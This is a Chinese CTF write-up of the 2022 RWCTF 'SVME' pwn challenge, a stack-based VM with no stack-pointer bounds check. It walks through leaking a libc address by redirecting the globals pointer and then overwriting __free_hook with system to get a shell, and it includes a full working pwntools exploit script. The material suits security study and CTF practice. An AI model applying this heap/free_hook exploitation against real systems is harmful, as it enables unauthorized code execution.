2022 RWCTF PWN SVME
2022/1/23 23:06:53
本文主要是介绍2022 RWCTF PWN SVME,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
前言:RWCTF上的一道被打烂了的clone-and-pwn,一开始没搞懂clone是啥子意思,后来队里师傅扔出来一个github链接,才明白原来是直接从github上拉下来的项目,还真是real word
github项目地址:https://github.com/parrt/simple-virtual-machine-C/blob/master/src/vm.c
既然是clone就意味着有源码,有了源码对于做VM题来说就大大降低了我们的逆向难度。
逆向分析
说实话其实main.c在docker文件夹里似乎也给了,懒得打开了,还是扔进ida里面看一下:
可以看到我们确实没有必要打开main.c了,loader很简单,输入512字节的code,然后连续调用
vm_create,vm_exec,vm_free
而这三个函数在源码中都能找到具体实现,所以下面我们来分析一下源码(感觉应该叫正向分析了hhhhh)
VM *vm_create(int *code, int code_size, int nglobals) { VM *vm = calloc(1, sizeof(VM)); vm_init(vm, code, code_size, nglobals); return vm; }
给一个vm结构体分配空间,然后调用vm_init
void vm_init(VM *vm, int *code, int code_size, int nglobals) { vm->code = code; vm->code_size = code_size; vm->globals = calloc(nglobals, sizeof(int)); vm->nglobals = nglobals; }
设置一些属性的值,然后给globals分配空间
然后是vm_exec,这个函数包括了一些基础操作,问题在于没有任何对sp指针的检测,也就是说在stack为空的时候仍然可以使用pop操作调整sp指针,这就意味着可以读写stack以外的数据
其指令格式为 opcode / opcode + 操作数,数据类型都是int
每个函数调用栈里都是一个返回地址加上一段空间用来装全局变量,执行RET的时候会把返回地址给ip,callsp减一
漏洞分析
漏洞在于没有对VM的stack有任何检测,所以sp指针可以从vm stack中跑出来,但是vm这个结构又是申请在堆上的空间,无法直接让跑到栈上,那么接下来要如何做呢?
我们主要来关心这四个操作:
同时配合这个结构来观察:
可以看到,vm中有两个指针,一个指向code,一个指向global,global是申请再堆上的一块空间,用来装全局变量,code则是指向栈上我们输入的code
可以看到,在进行STORE的时候,如果offset值为负,则可以修改code指针和globals指针,而进行GSTORE和GLOAD的时候,都是通过global指针来确定global的位置的,此时如果global改成code指针,就可以利用GSTORE和GLOAD进行栈上的任意地址读,这里的读指的是将数据放进VM stack中,不是打印出来。
我们放进gdb中调一下:
其中0x2101大小的堆存放的是VM这个结构体,0x21是global,0x411存放的是打印的帮助信息
看一下VM结构体里的内容:
可以看到一次是code指针,code_size,global指针,以及global大小,这里由于loade里设置的global的大小是0,所以第四个qword的值为0,此时sp指针指向红色箭头的位置。
因为sp初值是-1,且stack的单位是int所以要先pop一下,让sp等于-2,然后利用LOAD将code指针写到vm stack里
# code = p32(POP) #sp=sp-1 code+=p32(LOAD)+p32(-997&0xffffffff) code+=p32(LOAD)+p32(-996&0xffffffff)
接下来通过STORE,覆写global指针为code指针。
# change global ptr code += p32(STORE) + p32(-992&0xffffffff) code += p32(STORE) + p32(-993&0xffffffff) # store balance code+=p32(PUSH)+p32(0) code+=p32(PUSH)+p32(0)
然后利用PUSH平衡了一下栈帧,到了这里,sp为0,global指针被我们修改成了code指针,指向栈段
接下来我们就可以使用GLOAD将栈上的值复制到vm stack中了,我们先来看看code附近有没有能用的libc上的地址:
我们以libc_start_main+243地址为例,计算一下偏移:
(0x7ffeade18d18-0x00007ffeade18b00)/4=0x86
所以有:
code += p32(GLOAD) + p32(0x87) code += p32(GLOAD) + p32(0x86)
至于为什么要先放高位再放低位入栈,是因为还需要将这个libc地址转换为需要的system函数地址以及free_hook地址,如何转换呢,通过VM自带的add操作
可以看到这个add操作它还是以int为单位,所以要先放高四位,再放第四位,然后将计算好的offset入栈,利用add操作修改低四位,这样就得到了想要的函数地址了。
code += p32(PUSH) + p32(libc.sym['system']-libc.sym['__libc_start_main']-243) code += p32(ADD)
让我们来看一下效果:
可以看到,确实是把system的地址算出来了,此时sp为2,接下来要把free_hook-8的低四位用几乎同样的方式写进vm stack中
code += p32(GLOAD) + p32(0x86) code += p32(PUSH) + p32(libc.sym['__free_hook']-libc.sym['__libc_start_main']-243-8) code += p32(ADD)
然后再次修改global指针,让他指向free_hook-8
# write global ptr ------>free_hook-8 code += p32(STORE) + p32(-993&0xffffffff) code += p32(STORE) + p32(-990&0xffffffff) code += p32(STORE) + p32(-992&0xffffffff) # read the system into the vm stack code += p32(LOAD) + p32(-992&0xffffffff) code += p32(LOAD) + p32(-990&0xffffffff) # write free_hook -------> system code += p32(GSTORE) + p32(2) code += p32(GSTORE) + p32(3) # write /bin/sh\x00 into vm stack code += p32(PUSH) + p32(0x6e69622f) code += p32(PUSH) + p32(0x68732f) # write /bin/sh\x00 on the free_hook-8 code += p32(GSTORE) + p32(1) code += p32(GSTORE) + p32(0)
这里要注意,此时vm stack里的数据是,free_hook-8的低四位,system的低四位,libc基址的高四位,而写的时候只能按照栈内顺序来写,所以要先把system的低四位存到别的地方,修改完global指针之后再读到stack中,因为让sp++,要么自己push一个东西,要么从什么地方读入一个东西,不能像pop一样单纯修改sp
最后利用vm_free中会free掉global指针的性质,触发free_hook,getshell
完整exp:
from pwn import * context.log_level = "debug" context.binary = "./pwn" ''' typedef enum { NOOP = 0, IADD = 1, // int add ISUB = 2, IMUL = 3, ILT = 4, // int less than IEQ = 5, // int equal BR = 6, // branch BRT = 7, // branch if true BRF = 8, // branch if true ICONST = 9, // push constant integer LOAD = 10, // load from local context GLOAD = 11, // load from global memory STORE = 12, // store in local context GSTORE = 13, // store in global memory PRINT = 14, // print stack top POP = 15, // throw away top of stack CALL = 16, // call function at address with nargs,nlocals RET = 17, // return value from function HALT = 18 } VM_CODE; ''' p = process("./pwn") libc=ELF('./libc-2.31.so') # opcode GSTORE = 13 # gstore, offset POP = 15 # pop GLOAD = 11 # gload, offset LOAD = 10 # load, offset STORE = 12 # store, offset PUSH = ICONST = 9 # push, data ADD = IADD = 1 # add HALT = 18 gdb.attach(p,"b* $rebase(0x137e)") #sp=sp-1 code = p32(POP) #read code ptr to the vm stack code+=p32(LOAD)+p32(-997&0xffffffff) code+=p32(LOAD)+p32(-996&0xffffffff) # change global ptr code += p32(STORE) + p32(-992&0xffffffff) code += p32(STORE) + p32(-993&0xffffffff) # store balance code+=p32(PUSH)+p32(0) code+=p32(PUSH)+p32(0) # read libc address into vm stack code += p32(GLOAD) + p32(0x87) code += p32(GLOAD) + p32(0x86) # calc system address code += p32(PUSH) + p32(libc.sym['system']-libc.sym['__libc_start_main']-243) code += p32(ADD) # calc __free_hook_address code += p32(GLOAD) + p32(0x86) code += p32(PUSH) + p32(libc.sym['__free_hook']-libc.sym['__libc_start_main']-243-8) code += p32(ADD) # change the global ptr to free_hook-8 code += p32(STORE) + p32(-993&0xffffffff) code += p32(STORE) + p32(-990&0xffffffff) code += p32(STORE) + p32(-992&0xffffffff) #read system back to the vm stack code += p32(LOAD) + p32(-992&0xffffffff) code += p32(LOAD) + p32(-990&0xffffffff) #write system to the free_hook code += p32(GSTORE) + p32(2) code += p32(GSTORE) + p32(3) #push /bin/sh\x00 into the vm stack code += p32(PUSH) + p32(0x6e69622f) code += p32(PUSH) + p32(0x68732f) #write /bin/sh\x00 on the free_hook-8 code += p32(GSTORE) + p32(1) code += p32(GSTORE) + p32(0) # jump to vm_free code += p32(HALT) code = code.ljust(512, b"\x00") p.send(code) p.interactive()
这篇关于2022 RWCTF PWN SVME的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-23增量更新怎么做?-icode9专业技术文章分享
- 2024-11-23压缩包加密方案有哪些?-icode9专业技术文章分享
- 2024-11-23用shell怎么写一个开机时自动同步远程仓库的代码?-icode9专业技术文章分享
- 2024-11-23webman可以同步自己的仓库吗?-icode9专业技术文章分享
- 2024-11-23在 Webman 中怎么判断是否有某命令进程正在运行?-icode9专业技术文章分享
- 2024-11-23如何重置new Swiper?-icode9专业技术文章分享
- 2024-11-23oss直传有什么好处?-icode9专业技术文章分享
- 2024-11-23如何将oss直传封装成一个组件在其他页面调用时都可以使用?-icode9专业技术文章分享
- 2024-11-23怎么使用laravel 11在代码里获取路由列表?-icode9专业技术文章分享
- 2024-11-22怎么实现ansible playbook 备份代码中命名包含时间戳功能?-icode9专业技术文章分享